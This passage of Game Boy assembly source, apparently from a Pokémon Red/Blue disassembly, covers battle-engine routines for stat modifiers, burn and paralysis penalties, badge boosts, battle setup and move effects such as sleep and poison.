[rWY], a ld [hTilesetType], a ld hl, wPlayerStatsToDouble ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hl], a ld [wPlayerDisabledMove], a ret ; swaps the level values of the BattleMon and EnemyMon structs SwapPlayerAndEnemyLevels: push bc ld a, [wBattleMonLevel] ld b, a ld a, [wEnemyMonLevel] ld [wBattleMonLevel], a ld a, b ld [wEnemyMonLevel], a pop bc ret ; loads either red back pic or old man back pic ; also writes OAM data and loads tile patterns for the Red or Old Man back sprite's head ; (for use when scrolling the player sprite and enemy's silhouettes on screen) LoadPlayerBackPic: ld a, [wBattleType] dec a ; is it the old man tutorial? ld de, RedPicBack jr nz, .next ld de, OldManPic .next ld a, BANK(RedPicBack) call UncompressSpriteFromDE predef ScaleSpriteByTwo ld hl, wOAMBuffer xor a ld [hOAMTile], a ; initial tile number ld b, $7 ; 7 columns ld e, $a0 ; X for the left-most column .loop ; each loop iteration writes 3 OAM entries in a vertical column ld c, $3 ; 3 tiles per column ld d, $38 ; Y for the top of each column .innerLoop ; each loop iteration writes 1 OAM entry in the column ld [hl], d ; OAM Y inc hl ld [hl], e ; OAM X ld a, $8 ; height of tile add d ; increase Y by height of tile ld d, a inc hl ld a, [hOAMTile] ld [hli], a ; OAM tile number inc a ; increment tile number ld [hOAMTile], a inc hl dec c jr nz, .innerLoop ld a, [hOAMTile] add $4 ; increase tile number by 4 ld [hOAMTile], a ld a, $8 ; width of tile add e ; increase X by width of tile ld e, a dec b jr nz, .loop ld de, vBackPic call InterlaceMergeSpriteBuffers ld a, $a ld [$0], a xor a ld [$4000], a ld hl, vSprites ld de, sSpriteBuffer1 ld a, [H_LOADEDROMBANK] ld b, a ld c, 7 * 7 call CopyVideoData xor a ld [$0], a ld a, $31 ld [hStartTileID], a coord hl, 1, 5 predef_jump CopyUncompressedPicToTilemap ; does nothing since no stats are ever selected (barring glitches) DoubleOrHalveSelectedStats: callab DoubleSelectedStats jpab HalveSelectedStats ScrollTrainerPicAfterBattle: jpab _ScrollTrainerPicAfterBattle ApplyBurnAndParalysisPenaltiesToPlayer: ld a, $1 jr ApplyBurnAndParalysisPenalties ApplyBurnAndParalysisPenaltiesToEnemy: xor a ApplyBurnAndParalysisPenalties: ld [H_WHOSETURN], a call QuarterSpeedDueToParalysis jp HalveAttackDueToBurn QuarterSpeedDueToParalysis: ld a, [H_WHOSETURN] and a jr z, .playerTurn .enemyTurn ; quarter the player's speed ld a, [wBattleMonStatus] and 1 << PAR ret z ; return if player not paralysed ld hl, wBattleMonSpeed + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b srl a rr b ld [hli], a or b jr nz, .storePlayerSpeed ld b, 1 ; give the player a minimum of at least one speed point .storePlayerSpeed ld [hl], b ret .playerTurn ; quarter the enemy's speed ld a, [wEnemyMonStatus] and 1 << PAR ret z ; return if enemy not paralysed ld hl, wEnemyMonSpeed + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b srl a rr b ld [hli], a or b jr nz, .storeEnemySpeed ld b, 1 ; give the enemy a minimum of at least one speed point .storeEnemySpeed ld [hl], b ret HalveAttackDueToBurn: ld a, [H_WHOSETURN] and a jr z, .playerTurn .enemyTurn ; halve the player's attack ld a, [wBattleMonStatus] and 1 << BRN ret z ; return if player not burnt ld hl, wBattleMonAttack + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b ld [hli], a or b jr nz, .storePlayerAttack ld b, 1 ; give the player a minimum of at least one attack point .storePlayerAttack ld [hl], b ret .playerTurn ; halve the enemy's attack ld a, [wEnemyMonStatus] and 1 << BRN ret z ; return if enemy not burnt ld hl, wEnemyMonAttack + 1 ld a, [hld] ld b, a ld a, [hl] srl a rr b ld [hli], a or b jr nz, .storeEnemyAttack ld b, 1 ; give the enemy a minimum of at least one attack point .storeEnemyAttack ld [hl], b ret CalculateModifiedStats: ld c, 0 .loop call CalculateModifiedStat inc c ld a, c cp NUM_STATS - 1 jr nz, .loop ret ; calculate modified stat for stat c (0 = attack, 1 = defense, 2 = speed, 3 = special) CalculateModifiedStat: push bc push bc ld a, [wCalculateWhoseStats] and a ld a, c ld hl, wBattleMonAttack ld de, wPlayerMonUnmodifiedAttack ld bc, wPlayerMonStatMods jr z, .next ld hl, wEnemyMonAttack ld de, wEnemyMonUnmodifiedAttack ld bc, wEnemyMonStatMods .next add c ld c, a jr nc, .noCarry1 inc b .noCarry1 ld a, [bc] pop bc ld b, a push bc sla c ld b, 0 add hl, bc ld a, c add e ld e, a jr nc, .noCarry2 inc d .noCarry2 pop bc push hl ld hl, StatModifierRatios dec b sla b ld c, b ld b, 0 add hl, bc xor a ld [H_MULTIPLICAND], a ld a, [de] ld [H_MULTIPLICAND + 1], a inc de ld a, [de] ld [H_MULTIPLICAND + 2], a ld a, [hli] ld [H_MULTIPLIER], a call Multiply ld a, [hl] ld [H_DIVISOR], a ld b, $4 call Divide pop hl ld a, [H_DIVIDEND + 3] sub 999 % $100 ld a, [H_DIVIDEND + 2] sbc 999 / $100 jp c, .storeNewStatValue ; cap the stat at 999 ld a, 999 / $100 ld [H_DIVIDEND + 2], a ld a, 999 % $100 ld [H_DIVIDEND + 3], a .storeNewStatValue ld a, [H_DIVIDEND + 2] ld [hli], a ld b, a ld a, [H_DIVIDEND + 3] ld [hl], a or b jr nz, .done inc [hl] ; if the stat is 0, bump it up to 1 .done pop bc ret ApplyBadgeStatBoosts: ld a, [wLinkState] cp LINK_STATE_BATTLING ret z ; return if link battle ld a, [wObtainedBadges] ld b, a ld hl, wBattleMonAttack ld c, $4 ; the boost is applied for badges whose bit position is even ; the order of boosts matches the order they are laid out in RAM ; Boulder (bit 0) - attack ; Thunder (bit 2) - defense ; Soul (bit 4) - speed ; Volcano (bit 6) - special .loop srl b call c, .applyBoostToStat inc hl inc hl srl b dec c jr nz, .loop ret ; multiply stat at hl by 1.125 ; cap stat at 999 .applyBoostToStat ld a, [hli] ld d, a ld e, [hl] srl d rr e srl d rr e srl d rr e ld a, [hl] add e ld [hld], a ld a, [hl] adc d ld [hli], a ld a, [hld] sub 999 % $100 ld a, [hl] sbc 999 / $100 ret c ld a, 999 / $100 ld [hli], a ld a, 999 % $100 ld [hld], a ret LoadHudAndHpBarAndStatusTilePatterns: call LoadHpBarAndStatusTilePatterns LoadHudTilePatterns: ld a, [rLCDC] add a ; is LCD disabled? jr c, .lcdEnabled .lcdDisabled ld hl, BattleHudTiles1 ld de, vChars2 + $6d0 ld bc, BattleHudTiles1End - BattleHudTiles1 ld a, BANK(BattleHudTiles1) call FarCopyDataDouble ld hl, BattleHudTiles2 ld de, vChars2 + $730 ld bc, BattleHudTiles3End - BattleHudTiles2 ld a, BANK(BattleHudTiles2) jp FarCopyDataDouble .lcdEnabled ld de, BattleHudTiles1 ld hl, vChars2 + $6d0 lb bc, BANK(BattleHudTiles1), (BattleHudTiles1End - BattleHudTiles1) / $8 call CopyVideoDataDouble ld de, BattleHudTiles2 ld hl, vChars2 + $730 lb bc, BANK(BattleHudTiles2), (BattleHudTiles3End - BattleHudTiles2) / $8 jp CopyVideoDataDouble PrintEmptyString: ld hl, .emptyString jp PrintText .emptyString db "@" BattleRandom: ; Link battles use a shared PRNG. ld a, [wLinkState] cp LINK_STATE_BATTLING jp nz, Random push hl push bc ld a, [wLinkBattleRandomNumberListIndex] ld c, a ld b, 0 ld hl, wLinkBattleRandomNumberList add hl, bc inc a ld [wLinkBattleRandomNumberListIndex], a cp 9 ld a, [hl] pop bc pop hl ret c ; if we picked the last seed, we need to recalculate the nine seeds push hl push bc push af ; point to seed 0 so we pick the first number the next time xor a ld [wLinkBattleRandomNumberListIndex], a ld hl, wLinkBattleRandomNumberList ld b, 9 .loop ld a, [hl] ld c, a ; multiply by 5 add a add a add c ; add 1 inc a ld [hli], a dec b jr nz, .loop pop af pop bc pop hl ret HandleExplodingAnimation: ld a, [H_WHOSETURN] and a ld hl, wEnemyMonType1 ld de, wEnemyBattleStatus1 ld a, [wPlayerMoveNum] jr z, .player ld hl, wBattleMonType1 ld de, wEnemyBattleStatus1 ld a, [wEnemyMoveNum] .player cp SELFDESTRUCT jr z, .isExplodingMove cp EXPLOSION ret nz .isExplodingMove ld a, [de] bit INVULNERABLE, a ; fly/dig ret nz ld a, [hli] cp GHOST ret z ld a, [hl] cp GHOST ret z ld a, [wMoveMissed] and a ret nz ld a, 5 ld [wAnimationType], a PlayMoveAnimation: ld [wAnimationID], a call Delay3 predef_jump MoveAnimation InitBattle: ld a, [wCurOpponent] and a jr z, DetermineWildOpponent InitOpponent: ld a, [wCurOpponent] ld [wcf91], a ld [wEnemyMonSpecies2], a jr InitBattleCommon DetermineWildOpponent: ld a, [wd732] bit 1, a jr z, .asm_3ef2f ld a, [hJoyHeld] bit 1, a ; B button pressed? ret nz .asm_3ef2f ld a, [wNumberOfNoRandomBattleStepsLeft] and a ret nz callab TryDoWildEncounter ret nz InitBattleCommon: ld a, [wMapPalOffset] push af ld hl, wLetterPrintingDelayFlags ld a, [hl] push af res 1, [hl] callab InitBattleVariables ld a, [wEnemyMonSpecies2] sub OPP_ID_OFFSET jp c, InitWildBattle ld [wTrainerClass], a call GetTrainerInformation callab ReadTrainer call DoBattleTransitionAndInitBattleVariables call _LoadTrainerPic xor a ld [wEnemyMonSpecies2], a ld [hStartTileID], a dec a ld [wAICount], a coord hl, 12, 0 predef CopyUncompressedPicToTilemap ld a, $ff ld [wEnemyMonPartyPos], a ld a, $2 ld [wIsInBattle], a jp _InitBattleCommon InitWildBattle: ld a, $1 ld [wIsInBattle], a call LoadEnemyMonData call DoBattleTransitionAndInitBattleVariables ld a, [wCurOpponent] cp MAROWAK jr z, .isGhost call IsGhostBattle jr nz, .isNoGhost .isGhost ld hl, wMonHSpriteDim ld a, $66 ld [hli], a ; write sprite dimensions ld bc, GhostPic ld a, c ld [hli], a ; write front sprite pointer ld [hl], b ld hl, wEnemyMonNick ; set name to "GHOST" ld a, "G" ld [hli], a ld a, "H" ld [hli], a ld a, "O" ld [hli], a ld a, "S" ld [hli], a ld a, "T" ld [hli], a ld [hl], "@" ld a, [wcf91] push af ld a, MON_GHOST ld [wcf91], a ld de, vFrontPic call LoadMonFrontSprite ; load ghost sprite pop af ld [wcf91], a jr .spriteLoaded .isNoGhost ld de, vFrontPic call LoadMonFrontSprite ; load mon sprite .spriteLoaded xor a ld [wTrainerClass], a ld [hStartTileID], a coord hl, 12, 0 predef CopyUncompressedPicToTilemap ; common code that executes after init battle code specific to trainer or wild battles _InitBattleCommon: ld b, SET_PAL_BATTLE_BLACK call RunPaletteCommand call SlidePlayerAndEnemySilhouettesOnScreen xor a ld [H_AUTOBGTRANSFERENABLED], a ld hl, .emptyString call PrintText call SaveScreenTilesToBuffer1 call ClearScreen ld a, $98 ld [H_AUTOBGTRANSFERDEST + 1], a ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a call Delay3 ld a, $9c ld [H_AUTOBGTRANSFERDEST + 1], a call LoadScreenTilesFromBuffer1 coord hl, 9, 7 lb bc, 5, 10 call ClearScreenArea coord hl, 1, 0 lb bc, 4, 10 call ClearScreenArea call ClearSprites ld a, [wIsInBattle] dec a ; is it a wild battle? call z, DrawEnemyHUDAndHPBar ; draw enemy HUD and HP bar if it's a wild battle call StartBattle callab EndOfBattle pop af ld [wLetterPrintingDelayFlags], a pop af ld [wMapPalOffset], a ld a, [wSavedTilesetType] ld [hTilesetType], a scf ret .emptyString db "@" _LoadTrainerPic: ; wd033-wd034 contain pointer to pic ld a, [wTrainerPicPointer] ld e, a ld a, [wTrainerPicPointer + 1] ld d, a ; de contains pointer to trainer pic ld a, [wLinkState] and a ld a, Bank(TrainerPics) ; this is where all the trainer pics are (not counting Red's) jr z, .loadSprite ld a, Bank(RedPicFront) .loadSprite call UncompressSpriteFromDE ld de, vFrontPic ld a, $77 ld c, a jp LoadUncompressedSpriteData ; unreferenced ResetCryModifiers: xor a ld [wFrequencyModifier], a ld [wTempoModifier], a jp PlaySound ; animates the mon "growing" out of the pokeball AnimateSendingOutMon: ld a, [wPredefRegisters] ld h, a ld a, [wPredefRegisters + 1] ld l, a ld a, [hStartTileID] ld [hBaseTileID], a ld b, $4c ld a, [wIsInBattle] and a jr z, .notInBattle add b ld [hl], a call Delay3 ld bc, -(SCREEN_WIDTH * 2 + 1) add hl, bc ld a, 1 ld [wDownscaledMonSize], a lb bc, 3, 3 predef CopyDownscaledMonTiles ld c, 4 call DelayFrames ld bc, -(SCREEN_WIDTH * 2 + 1) add hl, bc xor a ld [wDownscaledMonSize], a lb bc, 5, 5 predef CopyDownscaledMonTiles ld c, 5 call DelayFrames ld bc, -(SCREEN_WIDTH * 2 + 1) jr .next .notInBattle ld bc, -(SCREEN_WIDTH * 6 + 3) .next add hl, bc ld a, [hBaseTileID] add $31 jr CopyUncompressedPicToHL CopyUncompressedPicToTilemap: ld a, [wPredefRegisters] ld h, a ld a, [wPredefRegisters + 1] ld l, a ld a, [hStartTileID] CopyUncompressedPicToHL: lb bc, 7, 7 ld de, SCREEN_WIDTH push af ld a, [wSpriteFlipped] and a jr nz, .flipped pop af .loop push bc push hl .innerLoop ld [hl], a add hl, de inc a dec c jr nz, .innerLoop pop hl inc hl pop bc dec b jr nz, .loop ret .flipped push bc ld b, 0 dec c add hl, bc pop bc pop af .flippedLoop push bc push hl .flippedInnerLoop ld [hl], a add hl, de inc a dec c jr nz, .flippedInnerLoop pop hl dec hl pop bc dec b jr nz, .flippedLoop ret LoadMonBackPic: ; Assumes the monster's attributes have ; been loaded with GetMonHeader. ld a, [wBattleMonSpecies2] ld [wcf91], a coord hl, 1, 5 ld b, 7 ld c, 8 call ClearScreenArea ld hl, wMonHBackSprite - wMonHeader call UncompressMonSprite predef ScaleSpriteByTwo ld de, vBackPic call InterlaceMergeSpriteBuffers ; combine the two buffers to a single 2bpp sprite ld hl, vSprites ld de, vBackPic ld c, (2*SPRITEBUFFERSIZE)/16 ; count of 16-byte chunks to be copied ld a, [H_LOADEDROMBANK] ld b, a jp CopyVideoData JumpMoveEffect: call _JumpMoveEffect ld b, $1 ret _JumpMoveEffect: ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveEffect] jr z, .next1 ld a, [wEnemyMoveEffect] .next1 dec a ; subtract 1, there is no special effect for 00 add a ; x2, 16bit pointers ld hl, MoveEffectPointerTable ld b, 0 ld c, a add hl, bc ld a, [hli] ld h, [hl] ld l, a jp hl ; jump to special effect handler MoveEffectPointerTable: dw SleepEffect ; unused effect dw PoisonEffect ; POISON_SIDE_EFFECT1 dw DrainHPEffect ; DRAIN_HP_EFFECT dw FreezeBurnParalyzeEffect ; BURN_SIDE_EFFECT1 dw FreezeBurnParalyzeEffect ; FREEZE_SIDE_EFFECT dw FreezeBurnParalyzeEffect ; PARALYZE_SIDE_EFFECT1 dw ExplodeEffect ; EXPLODE_EFFECT dw DrainHPEffect ; DREAM_EATER_EFFECT dw $0000 ; MIRROR_MOVE_EFFECT dw StatModifierUpEffect ; ATTACK_UP1_EFFECT dw StatModifierUpEffect ; DEFENSE_UP1_EFFECT dw StatModifierUpEffect ; SPEED_UP1_EFFECT dw StatModifierUpEffect ; SPECIAL_UP1_EFFECT dw StatModifierUpEffect ; ACCURACY_UP1_EFFECT dw StatModifierUpEffect ; EVASION_UP1_EFFECT dw PayDayEffect ; PAY_DAY_EFFECT dw $0000 ; SWIFT_EFFECT dw StatModifierDownEffect ; ATTACK_DOWN1_EFFECT dw StatModifierDownEffect ; DEFENSE_DOWN1_EFFECT dw StatModifierDownEffect ; SPEED_DOWN1_EFFECT dw StatModifierDownEffect ; SPECIAL_DOWN1_EFFECT dw StatModifierDownEffect ; ACCURACY_DOWN1_EFFECT dw StatModifierDownEffect ; EVASION_DOWN1_EFFECT dw ConversionEffect ; CONVERSION_EFFECT dw HazeEffect ; HAZE_EFFECT dw BideEffect ; BIDE_EFFECT dw ThrashPetalDanceEffect ; THRASH_PETAL_DANCE_EFFECT dw SwitchAndTeleportEffect ; SWITCH_AND_TELEPORT_EFFECT dw TwoToFiveAttacksEffect ; TWO_TO_FIVE_ATTACKS_EFFECT dw TwoToFiveAttacksEffect ; unused effect dw FlinchSideEffect ; FLINCH_SIDE_EFFECT1 dw SleepEffect ; SLEEP_EFFECT dw PoisonEffect ; POISON_SIDE_EFFECT2 dw FreezeBurnParalyzeEffect ; BURN_SIDE_EFFECT2 dw FreezeBurnParalyzeEffect ; unused effect dw FreezeBurnParalyzeEffect ; PARALYZE_SIDE_EFFECT2 dw FlinchSideEffect ; FLINCH_SIDE_EFFECT2 dw OneHitKOEffect ; OHKO_EFFECT dw ChargeEffect ; CHARGE_EFFECT dw $0000 ; SUPER_FANG_EFFECT dw $0000 ; SPECIAL_DAMAGE_EFFECT dw TrappingEffect ; TRAPPING_EFFECT dw ChargeEffect ; FLY_EFFECT dw TwoToFiveAttacksEffect ; ATTACK_TWICE_EFFECT dw $0000 ; JUMP_KICK_EFFECT dw MistEffect ; MIST_EFFECT dw FocusEnergyEffect ; FOCUS_ENERGY_EFFECT dw RecoilEffect ; RECOIL_EFFECT dw ConfusionEffect ; CONFUSION_EFFECT dw StatModifierUpEffect ; ATTACK_UP2_EFFECT dw StatModifierUpEffect ; DEFENSE_UP2_EFFECT dw StatModifierUpEffect ; SPEED_UP2_EFFECT dw StatModifierUpEffect ; SPECIAL_UP2_EFFECT dw StatModifierUpEffect ; ACCURACY_UP2_EFFECT dw StatModifierUpEffect ; EVASION_UP2_EFFECT dw HealEffect ; HEAL_EFFECT dw TransformEffect ; TRANSFORM_EFFECT dw StatModifierDownEffect ; ATTACK_DOWN2_EFFECT dw StatModifierDownEffect ; DEFENSE_DOWN2_EFFECT dw StatModifierDownEffect ; SPEED_DOWN2_EFFECT dw StatModifierDownEffect ; SPECIAL_DOWN2_EFFECT dw StatModifierDownEffect ; ACCURACY_DOWN2_EFFECT dw StatModifierDownEffect ; EVASION_DOWN2_EFFECT dw ReflectLightScreenEffect ; LIGHT_SCREEN_EFFECT dw ReflectLightScreenEffect ; REFLECT_EFFECT dw PoisonEffect ; POISON_EFFECT dw ParalyzeEffect ; PARALYZE_EFFECT dw StatModifierDownEffect ; ATTACK_DOWN_SIDE_EFFECT dw StatModifierDownEffect ; DEFENSE_DOWN_SIDE_EFFECT dw StatModifierDownEffect ; SPEED_DOWN_SIDE_EFFECT dw StatModifierDownEffect ; SPECIAL_DOWN_SIDE_EFFECT dw StatModifierDownEffect ; unused effect dw StatModifierDownEffect ; unused effect dw StatModifierDownEffect ; unused effect dw StatModifierDownEffect ; unused effect dw ConfusionSideEffect ; CONFUSION_SIDE_EFFECT dw TwoToFiveAttacksEffect ; TWINEEDLE_EFFECT dw $0000 ; unused effect dw SubstituteEffect ; SUBSTITUTE_EFFECT dw HyperBeamEffect ; HYPER_BEAM_EFFECT dw RageEffect ; RAGE_EFFECT dw MimicEffect ; MIMIC_EFFECT dw $0000 ; METRONOME_EFFECT dw LeechSeedEffect ; LEECH_SEED_EFFECT dw SplashEffect ; SPLASH_EFFECT dw DisableEffect ; DISABLE_EFFECT SleepEffect: ld de, wEnemyMonStatus ld bc, wEnemyBattleStatus2 ld a, [H_WHOSETURN] and a jp z, .sleepEffect ld de, wBattleMonStatus ld bc, wPlayerBattleStatus2 .sleepEffect ld a, [bc] bit NEEDS_TO_RECHARGE, a ; does the target need to recharge? (hyper beam) res NEEDS_TO_RECHARGE, a ; target no longer needs to recharge ld [bc], a jr nz, .setSleepCounter ; if the target had to recharge, all hit tests will be skipped ; including the event where the target already has another status ld a, [de] ld b, a and $7 jr z, .notAlreadySleeping ; can't affect a mon that is already asleep ld hl, AlreadyAsleepText jp PrintText .notAlreadySleeping ld a, b and a jr nz, .didntAffect ; can't affect a mon that is already statused push de call MoveHitTest ; apply accuracy tests pop de ld a, [wMoveMissed] and a jr nz, .didntAffect .setSleepCounter ; set target's sleep counter to a random number between 1 and 7 call BattleRandom and $7 jr z, .setSleepCounter ld [de], a call PlayCurrentMoveAnimation2 ld hl, FellAsleepText jp PrintText .didntAffect jp PrintDidntAffectText FellAsleepText: TX_FAR _FellAsleepText db "@" AlreadyAsleepText: TX_FAR _AlreadyAsleepText db "@" PoisonEffect: ld hl, wEnemyMonStatus ld de, wPlayerMoveEffect ld a, [H_WHOSETURN] and a jr z, .poisonEffect ld hl, wBattleMonStatus ld de, wEnemyMoveEffect .poisonEffect call CheckTargetSubstitute jr nz, .noEffect ; can't poison a substitute target ld a, [hli] ld b, a and a jr nz, .noEffect ; miss if target is already statused ld a, [hli] cp POISON ; can't poison a poison-type target jr z, .noEffect ld a, [hld] cp POISON ; can't poison a poison-type target jr z, .noEffect ld a, [de] cp POISON_SIDE_EFFECT1 ld b, $34 ; ~20% chance of poisoning jr z, .sideEffectTest cp POISON_SIDE_EFFECT2 ld b, $67 ; ~40% chance of poisoning jr z, .sideEffectTest push hl push de call MoveHitTest ; apply accuracy tests pop de pop hl ld a, [wMoveMissed] and a jr nz, .didntAffect jr .inflictPoison .sideEffectTest call BattleRandom cp b ; was side effect successful? ret nc .inflictPoison dec hl set 3, [hl] ; mon is now poisoned push de dec de ld a, [H_WHOSETURN] and a ld b, ANIM_C7 ld hl, wPlayerBattleStatus3 ld a, [de] ld de, wPlayerToxicCounter jr nz, .ok ld b, ANIM_A9 ld hl, wEnemyBattleStatus3 ld de, wEnemyToxicCounter .ok cp TOXIC jr nz, .normalPoison ; done if move is not Toxic set BADLY_POISONED, [hl] ; else set Toxic battstatus xor a ld [de], a ld hl, BadlyPoisonedText jr .continue .normalPoison ld hl, PoisonedText .continue pop de ld a, [de] cp POISON_EFFECT jr z, .regularPoisonEffect ld a, b call PlayBattleAnimation2 jp PrintText .regularPoisonEffect call PlayCurrentMoveAnimation2 jp PrintText .noEffect ld a, [de] cp POISON_EFFECT ret nz .didntAffect ld c, 50 call DelayFrames jp PrintDidntAffectText PoisonedText: TX_FAR _PoisonedText db "@" BadlyPoisonedText: TX_FAR _BadlyPoisonedText db "@" DrainHPEffect: jpab DrainHPEffect_ ExplodeEffect: ld hl, wBattleMonHP ld de, wPlayerBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .faintUser ld hl, wEnemyMonHP ld de, wEnemyBattleStatus2 .faintUser xor a ld [hli], a ; set the mon's HP to 0 ld [hli], a inc hl ld [hl], a ; set mon's status to 0 ld a, [de] res SEEDED, a ; clear mon's leech seed status ld [de], a ret FreezeBurnParalyzeEffect: xor a ld [wAnimationType], a call CheckTargetSubstitute ; test bit 4 of d063/d068 flags [target has substitute flag] ret nz ; return if they have a substitute, can't effect them ld a, [H_WHOSETURN] and a jp nz, opponentAttacker ld a, [wEnemyMonStatus] and a jp nz, CheckDefrost ; can't inflict status if opponent is already statused ld a, [wPlayerMoveType] ld b, a ld a, [wEnemyMonType1] cp b ; do target type 1 and move type match? ret z ; return if they match (an ice move can't freeze an ice-type, body slam can't paralyze a normal-type, etc.) ld a, [wEnemyMonType2] cp b ; do target type 2 and move type match? ret z ; return if they match ld a, [wPlayerMoveEffect] cp PARALYZE_SIDE_EFFECT1 + 1 ; 10% status effects are 04, 05, 06 so 07 will set carry for those ld b, $1a ; 0x1A/0x100 or 26/256 = 10.2%~ chance jr c, .next1 ; branch ahead if this is a 10% chance effect.. ld b, $4d ; else use 0x4D/0x100 or 77/256 = 30.1%~ chance sub $1e ; subtract $1E to map to equivalent 10% chance effects .next1 push af call BattleRandom ; get random 8bit value for probability test cp b pop bc ret nc ; do nothing if random value is >= 1A or 4D [no status applied] ld a, b ; what type of effect is this? cp BURN_SIDE_EFFECT1 jr z, .burn cp FREEZE_SIDE_EFFECT jr z, .freeze ; .paralyze ld a, 1 << PAR ld [wEnemyMonStatus], a call QuarterSpeedDueToParalysis ; quarter speed of affected mon ld a, ANIM_A9 call PlayBattleAnimation jp PrintMayNotAttackText ; print paralysis text .burn ld a, 1 << BRN ld [wEnemyMonStatus], a call HalveAttackDueToBurn ; halve attack of affected mon ld a, ANIM_A9 call PlayBattleAnimation ld hl, BurnedText jp PrintText .freeze call ClearHyperBeam ; resets hyper beam (recharge) condition from target ld a, 1 << FRZ ld [wEnemyMonStatus], a ld a, ANIM_A9 call PlayBattleAnimation ld hl, FrozenText jp PrintText opponentAttacker: ld a, [wBattleMonStatus] ; mostly same as above with addresses swapped for opponent and a jp nz, CheckDefrost ld a, [wEnemyMoveType] ld b, a ld a, [wBattleMonType1] cp b ret z ld a, [wBattleMonType2] cp b ret z ld a, [wEnemyMoveEffect] cp PARALYZE_SIDE_EFFECT1 + 1 ld b, $1a jr c, .next1 ld b, $4d sub $1e .next1 push af call BattleRandom cp b pop bc ret nc ld a, b cp BURN_SIDE_EFFECT1 jr z, .burn cp FREEZE_SIDE_EFFECT jr z, .freeze ld a, 1 << PAR ld [wBattleMonStatus], a call QuarterSpeedDueToParalysis jp PrintMayNotAttackText .burn ld a, 1 << BRN ld [wBattleMonStatus], a call HalveAttackDueToBurn ld hl, BurnedText jp PrintText .freeze ; hyper beam bits aren't reseted for opponent's side ld a, 1 << FRZ ld [wBattleMonStatus], a ld hl, FrozenText jp PrintText BurnedText: TX_FAR _BurnedText db "@" FrozenText: TX_FAR _FrozenText db "@" CheckDefrost: ; any fire-type move that has a chance inflict burn (all but Fire Spin) will defrost a frozen target and 1 << FRZ ; are they frozen? ret z ; return if so ld a, [H_WHOSETURN] and a jr nz, .opponent ;player [attacker] ld a, [wPlayerMoveType] sub FIRE ret nz ; return if type of move used isn't fire ld [wEnemyMonStatus], a ; set opponent status to 00 ["defrost" a frozen monster] ld hl, wEnemyMon1Status ld a, [wEnemyMonPartyPos] ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes xor a ld [hl], a ; clear status in roster ld hl, FireDefrostedText jr .common .opponent ld a, [wEnemyMoveType] ; same as above with addresses swapped sub FIRE ret nz ld [wBattleMonStatus], a ld hl, wPartyMon1Status ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes xor a ld [hl], a ld hl, FireDefrostedText .common jp PrintText FireDefrostedText: TX_FAR _FireDefrostedText db "@" StatModifierUpEffect: ld hl, wPlayerMonStatMods ld de, wPlayerMoveEffect ld a, [H_WHOSETURN] and a jr z, .statModifierUpEffect ld hl, wEnemyMonStatMods ld de, wEnemyMoveEffect .statModifierUpEffect ld a, [de] sub ATTACK_UP1_EFFECT cp EVASION_UP1_EFFECT + $3 - ATTACK_UP1_EFFECT ; covers all +1 effects jr c, .incrementStatMod sub ATTACK_UP2_EFFECT - ATTACK_UP1_EFFECT ; map +2 effects to equivalent +1 effect .incrementStatMod ld c, a ld b, $0 add hl, bc ld b, [hl] inc b ; increment corresponding stat mod ld a, $d cp b ; can't raise stat past +6 ($d or 13) jp c, PrintNothingHappenedText ld a, [de] cp ATTACK_UP1_EFFECT + $8 ; is it a +2 effect? jr c, .ok inc b ; if so, increment stat mod again ld a, $d cp b ; unless it's already +6 jr nc, .ok ld b, a .ok ld [hl], b ld a, c cp $4 jr nc, UpdateStatDone ; jump if mod affected is evasion/accuracy push hl ld hl, wBattleMonAttack + 1 ld de, wPlayerMonUnmodifiedAttack ld a, [H_WHOSETURN] and a jr z, .pointToStats ld hl, wEnemyMonAttack + 1 ld de, wEnemyMonUnmodifiedAttack .pointToStats push bc sla c ld b, $0 add hl, bc ; hl = modified stat ld a, c add e ld e, a jr nc, .checkIf999 inc d ; de = unmodified (original) stat .checkIf999 pop bc ld a, [hld] sub 999 % $100 ; check if stat is already 999 jr nz, .recalculateStat ld a, [hl] sbc 999 / $100 jp z, RestoreOriginalStatModifier .recalculateStat ; recalculate affected stat ; paralysis and burn penalties, as well as badge boosts are ignored push hl push bc ld hl, StatModifierRatios dec b sla b ld c, b ld b, $0 add hl, bc pop bc xor a ld [H_MULTIPLICAND], a ld a, [de] ld [H_MULTIPLICAND + 1], a inc de ld a, [de] ld [H_MULTIPLICAND + 2], a ld a, [hli] ld [H_MULTIPLIER], a call Multiply ld a, [hl] ld [H_DIVISOR], a ld b, $4 call Divide pop hl ; cap at 999 ld a, [H_PRODUCT + 3] sub 999 % $100 ld a, [H_PRODUCT + 2] sbc 999 / $100 jp c, UpdateStat ld a, 999 / $100 ld [H_MULTIPLICAND + 1], a ld a, 999 % $100 ld [H_MULTIPLICAND + 2], a UpdateStat: ld a, [H_PRODUCT + 2] ld [hli], a ld a, [H_PRODUCT + 3] ld [hl], a pop hl UpdateStatDone: ld b, c inc b call PrintStatText ld hl, wPlayerBattleStatus2 ld de, wPlayerMoveNum ld bc, wPlayerMonMinimized ld a, [H_WHOSETURN] and a jr z, .asm_3f4e6 ld hl, wEnemyBattleStatus2 ld de, wEnemyMoveNum ld bc, wEnemyMonMinimized .asm_3f4e6 ld a, [de] cp MINIMIZE jr nz, .asm_3f4f9 ; if a substitute is up, slide off the substitute and show the mon pic before ; playing the minimize animation bit HAS_SUBSTITUTE_UP, [hl] push af push bc ld hl, HideSubstituteShowMonAnim ld b, BANK(HideSubstituteShowMonAnim) push de call nz, Bankswitch pop de .asm_3f4f9 call PlayCurrentMoveAnimation ld a, [de] cp MINIMIZE jr nz, .applyBadgeBoostsAndStatusPenalties pop bc ld a, $1 ld [bc], a ld hl, ReshowSubstituteAnim ld b, BANK(ReshowSubstituteAnim) pop af call nz, Bankswitch .applyBadgeBoostsAndStatusPenalties ld a, [H_WHOSETURN] and a call z, ApplyBadgeStatBoosts ; whenever the player uses a stat-up move, badge boosts get reapplied again to every stat, ; even to those not affected by the stat-up move (will be boosted further) ld hl, MonsStatsRoseText call PrintText ; these shouldn't be here call QuarterSpeedDueToParalysis ; apply speed penalty to the player whose turn is not, if it's paralyzed jp HalveAttackDueToBurn ; apply attack penalty to the player whose turn is not, if it's burned 